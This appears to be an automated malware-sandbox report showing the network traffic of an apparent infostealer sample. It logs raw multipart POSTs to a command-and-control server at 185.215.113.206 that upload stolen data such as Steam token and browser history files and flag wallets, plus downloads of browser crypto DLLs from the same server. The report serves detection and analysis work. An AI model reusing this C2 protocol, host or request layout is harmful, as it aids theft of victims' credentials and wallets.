Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file"------DGCAAFBFBKFIDGDHJDBK--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 5a 6e 46 7a 4f 54 4a 76 4e 48 41 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 6c 73 62 47 45 75 62 33 4a 6e 4c 33 42 79 62 32 52 31 59 33 52 7a 4c 32 5a 70 63 6d 56 6d 62 33 67 4b 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 6c 73 62 47 45 75 62 33 4a 6e 4c 32 74 69 4c 32 4e 31 63 33 52 76 62 57 6c 36 5a 53 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 4e 76 62 6e 52 79 62 32 78 7a 4c 57 4a 31 64 48 52 76 62 6e 4d 74 59 57 35 6b 4c 58 52 76 62 32 78 69 59 58 4a 7a 50 33 56 30 62 56 39 7a 62 33 56 79 59 32 55 39 5a 6d 6c 79 5a 57 5a 76 65 43 31 69 63 6d 39 33 63 32 56 79 4a 6e 56 30 62 56 39 74 5a 57 52 70 64 57 30 39 5a 47 56 6d 59 58 56 73 64 43 31 69 62 32 39 72 62 57 46 79 61 33 4d 6d 64 58 52 74 58 32 4e 68 62 58 42 68 61 57 64 75 50 57 4e 31 63 33 52 76 62 57 6c 36 5a 51 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 6a 62 32 35 30 63 6d 6c 69 64 58 52 6c 4c 77 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 68 59 6d 39 31 64 43 38 4b 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 62 57 39 36 61 57 78 73 59 53 35 76 63 6d 63 76 5a 6d 6c 79 5a 57 5a 76 65 43 38 2f 64 58 52 74 58 32 31 6c 5a 47 6c 31 62 54 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 52 6c 63 32 74 30 62 33 41 6d 64 58 52 74 58 33 4e 76 64 58 4a 6a 5a 54 31 69 62 32 39 72 62 57 46 79 61 33 4d 74 64 47 39 76 62 47 4a 68 63 69 5a 31 64 47 31 66 59 32 46 74 63 47 46 70 5a 32 34 39 62 6d 56 33 4c 58 56 7a 5a 58 4a 7a 4a 6e 56 30 62 56 39 6a 62 32 35 30 5a 57 35 30 50 53 31 6e 62 47 39 69 59 57 77 4b 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="message"wallets------HIIEBAFCBKFIDGCAKKKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 2d 2d 0d 0a Data Ascii: ------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="message"files------BFHIJEBKEBGHIDHJKJEG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file"------GIIIIJDHJEGIECBGHIJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="message"ybncbhylepme------HDBGDHDAECBGDHJKFIDG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGDAAFBKEBGDHDBKEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 44 41 41 46 42 4b 45 42 47 44 48 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------FHCBGDAAFBKEBGDHDBKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHCBGDAAFBKEBGDHDBKE--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49758 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64CC60 PR_Recv,

0_2_6C64CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zUGrAnvCXfUvUdp&MD=1xL3sy4L HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=zUGrAnvCXfUvUdp&MD=1xL3sy4L HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
